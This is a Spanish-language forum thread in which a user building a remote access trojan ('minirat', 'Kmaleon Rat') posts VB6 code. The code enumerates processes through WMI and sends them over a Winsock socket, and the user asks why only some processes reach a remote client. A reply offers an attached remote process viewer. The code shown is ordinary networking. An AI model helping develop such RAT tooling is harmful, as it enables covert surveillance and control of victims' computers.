hola que tal?

estoy intentando hacer un minirat,pero me quede detenido en la parte de enviar procesos,el code funciona muy bien pero el problema es que no llegan todos los procesos al cliente,solo llegan cuando es local.. y me han dicho que cuando envie los datos a cliente desde el server deben ser enviados por parte con la funcion Mid

el code que me da problemas es:

Server:

Código: Seleccionar todo

Public Function ListarProc()

    Dim Process
    
    For Each Process In GetObject("winmgmts:").ExecQuery("select * from Win32_Process")
        
            If frmMain.WS.State = sckConnected Then ' Si esta conectado
        
                ' Envio los procesos
        
                frmMain.WS.SendData "Process$" & "|" & Process.name & "|" & Process.ProcessID & "|"
        
            End If
        
        DoEvents
        
    Next

End Function
bueno en el cliente divido los datos con data = split(datos,"|") y desps un select case data(0)
y este code:

Código: Seleccionar todo

        Case "Process$"
        
            With listview_procesos.ListItems.Add(, , data(1))
        
            .SubItems(1) = data(2)

            End With
y ya que estamos ahi les deje el code para listar procesos xD.
con eso si lo pruebo en local funciona pero con una pc remota solo recibo algunos procesos, como lo puedo enviar por partes usando mid ?

Salu2!
Working in Kmaleon Rat - 50%
que tiene que ver la función mid en enviar procesos ?
la función mid es para dividir string en silabas según los parámetros que se le de
te dejo el code de un visor de procesos remoto aver si te sirve
Remote Process Viewer.rar
recuerda no ripiar , estudiaro ;)
saludos
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
http://www.freundt-esta-aburrido.blogspot.com
al-hacker escribió:que tiene que ver la función mid en enviar procesos ?
la función mid es para dividir string en silabas según los parámetros que se le de
te dejo el code de un visor de procesos remoto aver si te sirve
Remote Process Viewer.rar
recuerda no ripiar , estudiaro ;)
saludos
no, el code de procesos ya esta en este mismo post xD solo que no sabia enviarlo con mid pero creo que es haci Mid(cadena,instr(1,cadena,"separador") - 1) es como split(cadena,"separador")

gracias voy a mirar a ver que tal
Working in Kmaleon Rat - 50%
Responder

Volver a “VB/.NET”